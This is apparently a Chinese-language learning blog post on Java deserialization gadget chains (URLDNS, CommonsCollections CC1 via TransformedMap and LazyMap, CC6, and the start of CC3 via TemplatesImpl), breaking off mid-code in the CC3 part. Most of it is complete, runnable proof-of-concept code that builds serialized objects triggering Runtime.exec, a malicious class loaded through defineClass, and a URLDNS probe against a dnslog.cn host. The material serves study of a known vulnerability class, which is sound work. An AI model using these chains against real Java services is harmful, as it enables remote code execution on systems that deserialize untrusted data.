Java反序列化-CC链

前言

反序列化的漏洞产生

当开发人员编写的代码接受来自用户特意编造的序列化数据并尝试将其反序列化以在程序中使用时,就会出现漏洞。

Java是允许我们重写writeObject()和readObject()的。

漏洞产生可能的形式:

  • 入口类的readObject()直接调用危险方法
  • 入口类包含可控类,该类有危险方法,readObject()时调用
  • 入口类包含可控类,该类又调用其他有危险方法的类,readObject()时调用

攻击条件:

  • 继承Serializable接口
  • 入口类 source (重写readObject() 调用常见的函数 参数类型宽泛 最好jdk自带)
  • 调用链 gadgetchain 相同名称 相同类型
  • 执行类 sink (rce ssrf 写文件等)

URLDNS链

java反序列化第一步,学习URLDNS这条链子。

环境

不限制jdk版本,使用Java内置类,对第三方依赖没有要求。

分析

1
2
3
4
5
Gadget Chain:
1. HashMap.readObject()
2. HashMap.putVal()
3. HashMap.hash()
4. URL.hashCode()

这条链子常用于验证是否存在java反序列化漏洞。

发现者可能在寻找SSRF的过程中发现的这条链子,所以最开始我们需要查看URL包的源码。首先它是implements java.io.Serializable的,可以进行反序列化。

向下寻找在一个hashCode中有一个handler.hashCode。

img

我们跟进handler.hashCode可以到URLStreamHandler.java中。

img

这里有一个getHostAddress(),传入了URL u,继续跟进看看这个函数的实现。

img

这里有个InetAddress.getByName,会通过DNS解析该host,以获取对应的ip地址,这个过程会涉及到网络访问。

接下来就是需要找到调用hashCode的类了,这个比较常见所以有很多。我们可以采用链子里面常用的HashMap,存在hashCode的同名函数替换,HashMap重写了readObject正好作为入口类。

为什么HashMap要自己实现writeObject和readObject方法?

在HashMap的readObject里面可以看到使用了putVal

img

跟进hash。

img

这里调用了hashCode,也就是我们赋值的时候会触发,我们接着就可以开始构造链子了。

按照前面的逻辑可以写出以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class urldns {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://4ssvce.dnslog.cn");
hashmap.put(url,1);
serialize(hashmap);
unserialize("ser.bin");
}
}

但是会发现在put的时候我们就已经触发dns解析了,因为put里面也使用了hash这个函数,解决这个问题这就需要再次回到URL中的hashCode。

img

img

这里对值做了判断,保证键的唯一性。我们最终的目标是想要反序列化的时候去触发handler.hashCode,达到确认反序列化漏洞的存在,但是在反序列化之前就触发了,也就是只要put就会触发。我们可以利用反射通过修改类中的成员变量完成这一操作。

也就是我们需要在put之前hashCode的值不为-1,这样就不会去触发handler.hashCode,在put完之后又要保证hashCode为-1,为后面反序列化触发handler.hashCode做准备。

Poc

所以有以下最终的Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class urldns {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://4ssvce.dnslog.cn");
Class c = url.getClass();
Field hashcode = c.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,1);
hashmap.put(url,1);
hashcode.set(url,-1);
serialize(hashmap);
unserialize("ser.bin");
}
}

CC1链

环境

jdk8u65

cc3.2.1

TransformedMap链

cc1有两条链子,先来分析TransformedMap这条。

我们从Transformer入手,看到Transformer.java可以发现它是一个接口。

img

我们ctrl+h可以查看它的实现类。

img

我们逐个跟进去看,会发现有意思的几个类。

首先是ConstantTransformer,它在构造器中初始化了一个常量。

img

并且它的transform方法是返回这个常量,也就是不管transform方法传入什么值都只会和我们初始化ConstantTransformer的时候传入的值有关,这个点在链子的中途会用到。

再是ChainedTransformer,顾名思义它肯定跟链有关系。

img

它会接受一个Transformer数组,然后传给一个变量,在transform中会将这个数组进行链式调用,前一个的输出作为后一个的输入,这个类在后面我们也能够用到。

最后一个就是InvokerTransformer,也是我们漏洞的主要利用点,我们在反射里面学过拿到方法之后的调用就是invoke,这里也是类似的。

img

在它的transform方法中尝试利用反射的一系列操作去执行类的方法,而且这里是我们能够控制的,也就是说可以执行恶意方法。

我们先来看看在java中的命令执行是什么样子的。

1
2
3
4
5
6
7
8
// 简单的静态调用
Runtime.getRuntime().exec("calc");

// 通过反射调用
Runtime r = Runtime.getRuntime();
Class exec = r.getClass();
Method execMethod = exec.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

然后我们根据InvokerTransformer的构造器和transform方法能够根据反射调用命令执行写出:

1
2
InvokerTransformer execTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
execTransformer.transform(Runtime.getRuntime());

所以现在主要是寻找同名方法替换了,我们需要利用transform,来看看哪些类实现了这个方法。

img

还是有很多的,我们主要看向Map的地方,Map用的比较常见可能链子更容易构造出来,或者去找一个类用到的次数比较多的,cc1有两条可走,第一条是LazyMap,还可以走TransformedMap,我们先来看看TransformedMap。

img

这里有好几种,链子里面用到的是checkSetValue。 可以看到构造器和方法都是protected权限的,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate。img

这里new了一个TransformedMap。我们来寻找checkSetValue的用法。

img

发现只有一个AbstractInputCheckedMapDecorator的类用到了它。

img

这个MapEntry重写了setValue,而我们一般Map的遍历会用到这个,并且在它的子类TransformedMap没有去重写它,也就是当我们对TransformedMap进行遍历时,使用setValue它本身没有这个方法,会去找它的父类AbstractInputCheckedMapDecorator的setValue方法,从而又回到了checkSetValue。我们可以编写一个简单的链子了。

1
2
3
4
5
6
7
8
9
10
11
12
public class test {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer execTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","123");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,execTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}
}

接下来我们就需要找setValue的用法。

img

有很多,并且是能够找到一个我们最终需要的入口类,也就是存在一个类的readObject里面调用了setValue这个方法。

AnnotationInvocationHandler这个类。

img

首先它并不是一个public的类,没有给出修饰词,属于default。

img

这里我们可以用全包名,通过反射去获取。我们最后是需要触发setValue,我们来看看具体怎么触发。

img

对一个Map进行了遍历,检查每个值是否符合预期的类型,如果不符合,则将替换为一个异常代理对象。而我们的目的就是为了达到不符合去触发下面的setValue。

首先这个Map是我们能够控制的。

img

在它的构造器里面初始化了memberValues。我们将大概的流程写入链子中去。

1
2
3
4
5
6
7
8
9
10
11
Runtime r = Runtime.getRuntime();
InvokerTransformer execTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","123");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,execTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

我们根据构造器传入了对应的值,然后进行了实例化和反序列化操作。但是我们还要解决几个问题,第一个就是Runtime没有实现Serializable,但是它的原型类class是有的。

1
2
3
4
5
Class c = Runtime.class;
Method getRuntime = c.getDeclaredMethod("getRuntime",null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method exec = c.getDeclaredMethod("exec", String.class);
exec.invoke(r,"calc");

我们可以利用反射实现。接着尝试用之前的InvokerTransformer去调用。

1
2
3
Method getRuntime= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

可以发现有点麻烦,我们在之前还分析过一个链式调用的类,ChainedTransformer。ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法,所以我们根据语法可以直接写:

1
2
3
4
5
6
7
Transformer[] Transformers=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);

还有需要达到readObject里面SetValue的地方,我们前面分析过了是判断Map是否符合预期。它的流程大概就是,在我们初始化的时候传入了一个注解类型和一个Map变量,然后Map会存储了注解成员的名称,然后将这个名称传给了memberType,第一个if就是判断这个成员是否存在,第二个if检查value是否是memberType类型或其子类型的实例。第二个我们很好达到,因为让他不一样很简单,而且我们已经确定了是要传入我们的transformedmap,主要来看看第一个。

这里我们可以用Target.class(只要满足的应该都行,Retention好像也可以),它里面有一个成员变量是value,所以在transformmap的键我们传入value字符串即可,可以发现成功走到了setValue。

img

还有最后一个问题,我们这里并没有去触发链子,这里它把setValue的参数给固定了。这时候就需要用到我们之前分析过的类了,ConstantTransformer类,它只与我们初始化的时候有关,我们在调用链里面补上就可以了。

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

到这里,我们整个调用链就清楚了。

1
2
3
4
5
6
Gadget Chain:
1. AnnotationInvocationHandler.readObject()
2. TransformedMap.setValue()(父类的方法)
3. TransformedMap.checkSetValue()
4. InvokerTransformer.transform()
5. Runtime.exec()

Poc

最后的完整代码是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.mashiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc1_1 {
public static void main(String[] args) throws Exception {
Class rc = Class.forName("java.lang.Runtime");
Transformer[] Transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);

HashMap<Object,Object> map=new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

LazyMap链

下面我们继续分析另一条cc1,也是ysoserial里面的payload。

它整个的Gadget chain为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

可以发现,其实大部分都和前面一样的,在我们分析第一条的时候,当时在找transform我们发现了有几个map,第一条用的是TransformedMap,我们还可以用其他的Map。

img

这里其实DefaultMap和LazyMap都是用的get,来看看LazyMap是如何调用的。

img

这里进去的逻辑很简单,直接分析了再往后走,就是判断map是否包含这个key然后调用factory的transform。

img

我们看到两个有参构造器,肯定选第二个,有个Transformer,值得注意的是,这里也是protected,但好在前面有decorate方法。

img

和前面的TransformedMap差不太多。继续往后走,寻找调用get的方法。这里有太多了。

img

所以想要寻找是很难的,我们直接分析作者找到的链子吧。

往后用到的还是AnnotationInvocationHandler类。

img

首先我们第一反应肯定还是去看readObject,这样我们就不用再走了。

img

但是这里的memberTypes我们控制不了。

img

它是由annotationType.memberTypes()去决定的。

img

annotationType也是确定好的,注解类型,我们需要再看看类中的其他调用get的地方,其实和前面一种差不多,在第一条我们用的是memberValue.setValue,这里我们去找memberValue.get。

img

我们可以去看Invoke方法。

img

我们这个类和动态代理是有关的,而动态代理有个特点,调用代理类的方法,就会去触发代理类的Invoke方法。

动态代理:被代理类 + 处理器类 + 被代理的接口。

img

我们到达memberValues.get()还需要经过几个判断,第一个if只有我们调用的方法名字不为equals即可绕过,第二个我们调用无参方法即可绕过,后面的switch我们只要不为那几个方法就行了。

也就是说我们只需要创建一个代理对象,通过反射让其代理处理器为AnnotationInvocationHandler类,然后调用代理对象(proxy的第二个参数)的特定无参方法,即可触发invoke方法。

我们最后肯定是需要走readObject的,我们直接先看该类中有没有满足条件的,就不需要再去找其他的方法。

img

也是刚好用到了memberValues的无参方法。

然后我们回顾一下前面的,来写poc。

首先我们保留第一条一直到map.put的地方。

img

创建一个LazyMap实例transfromedmap,将链式transformer传进去。

1
Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);

接着,我们通过反射等操作拿到AnnotationInvocationHandler的构造器,并将前面的transforedmap传进去进行实例化。

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transformedmap);

此时,实例化出来的invocationHandler的memberValues也就是我们传进去的transformedmap了。

接着我们创建一个动态代理对象,并实现Map接口。

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

之所以是Map对象,是因为我们前面分析了会调用entrySet无参方法。并且做了一个强转。创建的代理对象被强转为Map类型,这里意味着代理对象可以像普通的Map对象一样使用,但实际上它的方法调用会被转发到invocationHandler。

最后我们再次进行实例化。

1
Object o = constructor.newInstance(Target.class, proxyMap);

然后就是反序列化了,这里的实例化出的对象是我们最终需要的,它在被反序列化的时候,proxyMap成为了memberValues,然后会去触发memberValues的entrySet,也就是前面所说的可以像普通的Map对象一样使用,但是方法调用会被转发到invocationHandler,也就是说调用到了对应的无参方法,去触发invocationHandler里面的invoke方法,然后触发get方法,再到LazyMap的transform后面就是差不多的链式调用了。

Poc

完整的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.mashiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1_2 {
public static void main(String[] args) throws Exception {
Class rc = Class.forName("java.lang.Runtime");
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transformedmap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = constructor.newInstance(Target.class, proxyMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

CC6链

前置

环境还是之前cc1的环境,jdk8u65,cc3.2.1。

在前面的cc1,我们对cc的版本与jdk的版本都有依赖,所以其实不算一个比较好用的链子。这次来分析的cc6,对jdk的版本没有限制(主要原因是基本上用的是cc里面的东西)。

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

可以发现后半部分还是和前面的cc1一样的,并且前半部分用到的是URLDNS链里面的部分,主要是融入了一个TiedMapEntry。

分析

我们直接接着cc1的LazyMap里面的get继续分析,在前面我们寻找到的get是在AnnotationInvocationHandler里面,这次我们是去看一个叫TiedMapEntry的类。

img

跟进去。

img

发现就短短的一行,并且这个map我们是可控的。

img

继续寻找getValue的方法。

img

TiedMapEntry里面也有这个,我们继续利用该类,并且这是我们熟悉的hashCode。

img

后面就是URLDNS的链子了,回顾一下。

当时的URLDNS的链子如下:

1
2
3
4
1. HashMap.readObject()
2. HashMap.putVal()
3. HashMap.hash()
4. URL.hashCode()

cc6这里就是把URL.hashCode换成了TiedMapEntry的hashCode。

直接来写poc。

cc1的后段部分,我们继续沿用就好了。

1
2
3
4
5
6
7
8
9
10
11
12
Class rc = Class.forName("java.lang.Runtime");
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);

由于TiedMapEntry的构造器是public,我们直接实例化就行了,并传入我们前面生成的transformedmap。

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedmap,"a");

然后我们创建HashMap,把tiedMapEntry传进去就好了。

1
2
HashMap<Object,Integer> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,1);

得到了大致的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Class rc = Class.forName("java.lang.Runtime");
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedmap,"a");
HashMap<Object,Integer> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,1);
serialize(hashMap);
unserialize("ser.bin");

这里之后就会出现和我们之前在URLDNS链中遇到的问题了,我们在序列化的时候就会弹计算器了。

主要问题还是出现在put的地方,经过调试发现在put的时候我们就已经触发了TiedMapEntry里面的hashCode方法中的getValue,然后就执行了弹计算器命令,我们只要在put之前去掉命令的执行,然后put之后再修改回来就好了。

这里修改的方法有很多了,只要保证没有命令执行就行了。

我这里将LazyMap实例化的地方进行修改,将chainedTransformer,放在后续传入。

然后我们要看看,后续我们修改的是什么变量,去LazyMap实例化的方法看。

img

img

也就是说,我们后面需要修改实例化出来的transformedmap,将它的成员变量factory修改为chainedTransformer。

1
2
3
4
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(transformedmap,chainedTransformer);

但是发现这样反序列化和序列化都弹不了计算器了,那是因为LazyMap里面有一个判断。

img

我们前面虽然避免了它去执行命令,但是map的key是已经被传入了。

img

进行调试可以发现,在反序列化的时候,我们传入了a,并且此时我们实例化出的transformedmap没有这个key,这里进行了一个put的操作,将key存了进去。

img

然后导致反序列化的时候直接跳转到了map.get(),而走不到里面的factory.transform(),也就导致最后不能弹计算器。

在反序列化前删掉这个a就好了。

1
transformedmap.remove("a");

Poc

完整的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.mashiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception{
Class rc = Class.forName("java.lang.Runtime");
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedmap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedmap,"a");
HashMap<Object,Integer> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,1);
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(transformedmap,chainedTransformer);
transformedmap.remove("a");
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

CC3链

前置

环境还是之前cc1的环境,jdk8u65,cc3.2.1。

在前面分析过的cc1和cc6都是直接通过代码Runtime.getRuntime().exec()去执行命令的,而这里的cc3是通过类加载机制加载任意类来达到命令执行的。

核心是利用TemplatesImpl执行字节码,先要学习一下类加载机制,组长视频和文章反复看就完了。

https://www.cnblogs.com/caicz/p/12718026.html

https://blog.csdn.net/solitudi/article/details/119082164?spm=1001.2014.3001.5501

https://cloud.tencent.com/developer/article/2287105

在大概了解了类加载机制之后,我们先来编写一个简单的样例代码利用defineClass。

首先编写恶意类,我这里写了一个exp.java,用于弹出计算器。

1
2
3
4
5
6
7
package org.mashiro;

public class exp {
public exp() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

然后编写了一个工具类,用于返回编译exp.java之后生成的class文件之后的base64字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.mashiro;

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class GenerateClassBase {
private static String encoded;
public static String getEncodedClass() {
try {
Process process = Runtime.getRuntime().exec("javac exp.java");
process.waitFor();

Path classFile = Paths.get("F:\\code\\java\\cc1\\target\\classes\\org\\mashiro\\exp.class");
byte[] classBytes = Files.readAllBytes(classFile);

encoded = Base64.getEncoder().encodeToString(classBytes);
} catch (Exception e) {
e.printStackTrace();
}
return encoded;
}
}

再在另一个代码中尝试利用defineClass去加载这个类,并进行实例化去触发无参构造器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.mashiro;

import java.lang.reflect.Method;
import java.util.Base64;

public class cc3 {
public static void main(String[] args) throws Exception{
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String encoded = GenerateClassBase.getEncodedClass();
System.out.println(encoded);
byte[] code = Base64.getDecoder().decode(encoded);
Class c = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "org.mashiro.exp", code, 0, code.length);
c.newInstance();

}
}

运行代码即可弹出计算器。

img

了解了defineClass的用法之后,我们再去了解如何利用TemplatesImpl去加载。

TemplatesImpl加载

核心还是去利用defineClass,我们尝试利用其他的类,是因为在实际场景中,defineClass方法作用域却是不开放的,所以我们很难直接利用到它。

img

我们直接跟进去,可以发现在TransletClassLoader类里面用到了defineClass。

1
2
3
4
5
6
static final class TransletClassLoader extends ClassLoader {
//...
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

但是这个类是一个内部类,我们需要找到哪个方法调用了它。

img

找到一个private方法,我们可以来具体看看这个类的作用是干什么的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

首先检查字节码_bytecodes是否为空,然后创建了一个TransletClassLoader,随后是最关键的一步,循环加载字节码,使用TransletClassLoader的defineClass方法将字节码定义为类,并且存储在_class数组中,最后就是一些检查和异常处理了。

这个类是private,也就意味着我们还需要往后去寻找,这里能够完成定义的操作了。继续跟进。

img

可以发现有三个,并且有一个还是public。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
